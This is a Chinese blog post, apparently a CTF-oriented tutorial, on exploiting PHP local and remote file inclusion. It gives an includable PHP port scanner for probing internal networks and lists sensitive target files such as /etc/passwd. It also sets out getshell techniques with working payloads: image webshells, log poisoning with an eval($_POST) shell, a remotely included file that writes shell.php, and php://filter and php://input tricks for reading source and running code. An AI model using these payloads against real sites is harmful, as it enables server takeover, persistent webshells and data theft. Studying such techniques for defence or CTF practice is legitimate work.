zoukankan      html  css  js  c++  java
  • 文件包含漏洞(RFI)

    1文件包含漏洞简介

    include  require  include_once   require_once

    RFI综述

    RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

    一下是一个扫描端口PHP,可以包含它来探测内网端口 

    <?php
    //echo "<script>alert('SCAN');</script>";
    if(isset($_REQUEST['ip'])){
            $ports = array(80,8080,21,443,3306,22,1,2,1433);
            $result = array();
            foreach($ports as $port){
                    if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
                            $result[$port] = true;
                            fclose($pf);
                    }else{
                            $result[$port] = false;
                    }
            }
            foreach($result as $port=>$val){
                    $serv = @getservbyport($port, 'TCP');
                    echo "scan port " . $port . " (" . $serv . "):";
                    if($val){
                            //echo 'open'.'<br>';
                            echo "<span style="color:green">open</span><br>";
                    }else{
                            //echo 'close'.'<br>';
                            echo "<span style="color:red">close</span><br>";
                    }
            }
    }
    ?>
    扫描端口

    1.本地文件包含漏洞

    2.远程文件包含漏洞

    条件:php.ini文件中的allow_url_include=On

    http://test.com/?page=http://www.baidu.com/index.html

    3.常见的敏感文件

    1. 根目录下存在flag文件
     C://flag.txt
    2. passwd文件存在flag
    /etc/passwd
    3. Web根目录下存在 flag文件
    4. 当前页面下存在flag文件
    5. apache/php/mysql配置文件下存在flag文件
    利用phpinfo()函数来获取路径
    

     3重要的利用手法

    (1)包含上传的getshell

                     上传图片马,利用文件包含我们的图片马,菜刀连接

    (2)包含日志文件getshell

    burpsuite里面访问
    http://127.0.0.1/<?php eval($_POST[1]);?>
    为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
    http://test.com/?page=../apache/logs/error.log
    成功
    

    (3)远程文件包含getshell

    (4)远程文件包含写shell

    包含hackxf.cn下面的get_shell.txt文件,内容

    <?php
    //fputs()
    //fopen(filename, mode)
    
    fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
    
    ?>

    访问当前目录下已经生成的shell.php文件

    (5)PHP封装协议读取文件

    1 php://filter/read=convert.base64-encode/resource=index.php
    2 
    3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

    (6)PHP封装协议命令执行

    http://127.0.0.1/cmd.php?file=php://input
    
    [POST DATA] <?php phpinfo()?>
    

    (7)file封装协议读取文件

    http://test.com/?page=file://c:/flag.txt
    
  • 相关阅读:
    hdu 5115 区间dp ***
    CF 149D Coloring Brackets 区间dp ****
    区间dp总结
    hdu 5284 BestCoder Round #48 ($) 1001 水题 *
    vijos 1038 括号+路径 ***
    vijos 1037 ***
    vijos 1028 LIS *
    使用alpine 构建 golang 运行容器
    Go Http包解析:为什么需要response.Body.Close()
    如果open的file不close , 会有什么样的影响
  • 原文地址:https://www.cnblogs.com/hackxf/p/8933169.html
Copyright © 2011-2022 走看看